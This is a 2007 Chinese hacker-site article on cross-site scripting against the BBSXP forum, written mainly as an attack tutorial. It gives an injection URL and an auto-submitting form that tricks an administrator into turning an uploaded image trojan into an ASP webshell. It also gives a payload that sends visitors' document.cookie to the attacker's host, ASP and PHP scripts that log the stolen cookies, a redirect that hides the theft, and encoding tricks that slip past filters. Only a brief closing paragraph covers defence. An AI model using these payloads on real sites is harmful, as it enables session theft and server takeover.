设为首页  加入收藏  联系我们 繁體中文  

黑客软件:

  漏洞扫描 | 木马间谍 | 加密解密 | 远程控制 | 破坏攻击 | 杀毒软件 | 防火墙类 | OICQ专区 | 黑客必备 | 常用工具 | 网吧攻击
文章中心:   最新资讯 | 黑客技术 | 电脑基础 | 菜鸟文摘 | 网络安全 | 网络技巧 | QQ技巧 | OQ空间代码 | 免费资源 | 编程世界 | 建站技术
素材源码:   论坛相关 | ASP源码 | CGI 源码 | NET 源码 | PHP 源码 | 酷站素材 | 字体素材 | 图片素材 | 友情发布 | 网页模版 | 建站软件
教程动画:   黑客教程 | 黑客编程 | 网站入侵 | 菜鸟教程 | 入侵教程 | 破解教程 | 电子书籍 | 网页制作 | 高级会员 | 综合教程 | 本站原创


   

  您当前的位置:中华隐士黑客联盟 -> 编程世界 -> 黑客编程 -> 文章内容 [站内搜索]  

 
简单分析Script脚本跨站攻击漏洞技术
作者:佚名  来源:本站整理  发布时间:2007-12-19 9:32:14  发布人:www.hack86.com
 

所谓跨站漏洞呢?其实这和现在比较热门的SQL注入的原理有异曲同工之处,都是由于程序员在写程序的时候对一些变量没有做充分的过滤,或者没做任何的过滤就直接把用户提交的数据送到SQL语句里执行,这样导致了用户 
  所提交的一些特意构造的语句 一般都是带有象JAVAScript等这类脚本代码,这样在服务里一旦被执行就形成了所谓的跨站攻击了。一般来说对于人机交互行比较高的程序,比如论坛,留言版这类程序都比较容易存在跨站script攻击。 

   如何判断一个程序是否存在跨站漏洞呢?分析程序是最直接的方法了,比如最近搞的很火的BBSXP5.15的跨站 

  漏洞,因为有大虾已经详细的介绍了,偶也就不在详述了,简单的说一下在cookies.asp文件里有这么一句 

  Response.Cookies("skins")=""&Request("no")&""然后在setup.asp里 

  response.write "<html><head><meta http-equiv=Content-Type content=text/html;charset=gb2312></head> 
<link href=images/skins/"&Request.Cookies("skins")&"/bbs.css rel=stylesheet><script src=inc/BBSxp.js></script> 
<script src=inc/ybb.js></script><script src=images/skins/"&Request.Cookies("skins")&"/bbs.js></script>"  

  我们可以看到,只要构造符合条件的skin的NO,然后在闭合前面的一个"<"接着就可以在后面加上我们的<script脚本了 

  比如:  http://xxx.xxxx.xxx/cookies.asp?menu=skins&;no=4><script>document.write(’<IFRAME marginWidth=100 marginHeight=100 src="http://www.baidu.com"frameBorder=100width=0scrolling=noheight=0to ... gin="0"></IFRAME>’);</script><script>    

  这样提交就可以达到我们的跨站目的了,(这个我动画里已经有演示了) 

  而跟深一层的利用,我们则可以构造表单,迷惑管理员点我们的帖子,或者联接。比如我们构造

  http://127.0.0.1/bbsxp/page2.asp?username=<;body onload="javascript:document.forms[0].submit()"> 

  <form action="http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf" method="post"> 
<input value="/UploadFile/2005-5/200512365.jpg" name="yl" > 
<input value="database/haha.asp" name="bf" > 
</body></html> 
/UploadFile/2005-5/200512365.jpg 
这是你的ASP图片木马 

  这样我们就如果让管理员浏览了我们的留言,那么这个脚本就会自动把/UploadFile/2005-5/200512365.jpg 

  备份成database/haha.asp。我们也就有了可爱的webshell了。而为什么要管理员浏览才有效呢?因为服务器上是存在cookies和session机制的 

  而session其实是在服务器端的tmp目录下的某一个文件中为每个用户储存一些变量,对session的操作其实是对文件读写操作。 

  seesion是每个用户都有自己的session。他们的生命周期一般是用户打开某网站浏览器到关闭与次网站连接所 

  有的浏览器后结束。cookie这是在用户端的存贮机制,他需要用户的打开cookie支持,所以只有管理才有权利把我们JPG备份在ASP 
     
  现在大家用的比较常见的就是盗取cookies而后欺骗,或者利用社会工程学进一步入侵比如我们构造下面的脚本代码就可以盗取用户cookies了  

  javascript:window.open(‘http://xxx.xxx.xxx/cookies.asp?msg=’+document.cookie)其中http://xxx.xxx.xxx/是大家自己网站空间,cookies.asp是一个asp脚本用于收集 



  msg后边跟的参数,而参数我们指定的是document.cookie,也就是访问此贴用户的cookie。 

  cookies.asp的代码是: 
<% 

  testfile=Server.MapPath("hun.txt") 

  msg=Request("msg") 

  set fs=server.CreateObject("scripting.filesystemobject") 

  set thisfile=fs.OpenTextFile(testfile,8,True,0) 

  thisfile.WriteLine(""&msg& "") 

  thisfile.close 

  set fs = nothing 

  %>  

  这样所有访问者的cookie都会收集在hun.txt这个文件里 

  但是访问者访问我们的帖子,同样会访问到我们的网站的,这样不是露馅了吗?呵呵,但只要我们稍做处理 

  就可以做的相对真实,比如我们加上下面的代码 

  <script language=vbscript>  
window.location.href="http://xxx.xxx.xxx"  
</script> 

  这个xxx.xxx.xxx最好换成你攻击的网站的域名,这样做的目的是在他访问我们精心构造的网站同时开打他 

  自己的网站,呵呵,这样是不是会更隐蔽一点呢? 

  这个cookies.asp和有一个同样作用的cookies.php一样,附代码如下: 
<?php  
$info = getenv("QUERY_STRING");  
if ($info) {  
$fp = fopen("cookies.txt","a");  
fwrite($fp,$info."\n");  
fclose($fp);  
}  
?>   

  但是大部份做的不错的论坛,都过滤了javascript这些字符。不过还是有方法可以利用的, 

  可以在论坛发的贴里将javascript写成ascii码。像j可以写成”&#x6a;” 
     
  防范的方法,就是过滤字符像javascript/<script>/’/;/&/#了等等, 

  当然前提是你的网页还要正常显示。建议大家不要轻易打开一些不明url,要将自己的信箱、论坛、QQ等资料的密码设的都不一样, 

  如果一旦资料或密码被盗,避免引连锁反应,所有资料和密码都被别人获得。这就要用到博大精深是社会工程学了。 

    总结一下吧。跨站的技巧性很强,呵呵大家多积累经验用起来会达到事半功倍的效果。 

 
[] [返回上一页] [打 印] [收 藏]
  [相关文章评论]    (评论内容只代表网友观点,与本站立场无关!) [更多评论...]
 

  黑客谈免杀 简单分析..
记一次简单的渗透测..
拥有简单的幸福
一次简单的html inj..
做黑客很简单 用IE..
简单明了的Radmin 4..
在QQ2007中简单设置..
简单讲解Windows系统..
推荐:简单打造不死鸽..
轻松一键,还原系统就..


 
免费获得Q币的最新方法
最新免费在线看的电影网站集绵
不用木马,轻松万能偷daoQQ号码
最新QQ空间4.0全屏版效果图!!
新免蟆Q秀,刷红钻的方法
黑客快速入门(强烈推荐)
QQ密码本地破解的原理和方法
18岁少女欲6000元卖处女身 救患血..
8款QQ空间免费开场动画
免费QQ蓝钻体验(附考试答案)
 
设置Web邮箱黑客警报器 防止财务.. 04-11
二行代码解决全部网页木马(含ifr.. 04-11
防止黑客根据PHP中的错误信息爆路.. 04-11
webshell下查找所有IIS站点配置... 04-11
终级win2003服务器安全配置篇! 04-11
解决“网际快车”和“迅雷”右键.. 04-11
英国电信(BT)被指监视36000余名互.. 04-11
用命令行开启或关闭 IP 安全策略.. 04-11
Firefox2狂占CPU解决办法 04-11
大水牛下载者手工清除的方法 04-11
 
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 访客留言 论坛登录
〖中华隐士黑客联盟〗,Copyright © 2006-2010 WwW.Hack86.Com 闽ICP备:06023304号
站长:小质 QQ:771760,软件发布MAIL:Hack086@21cn.com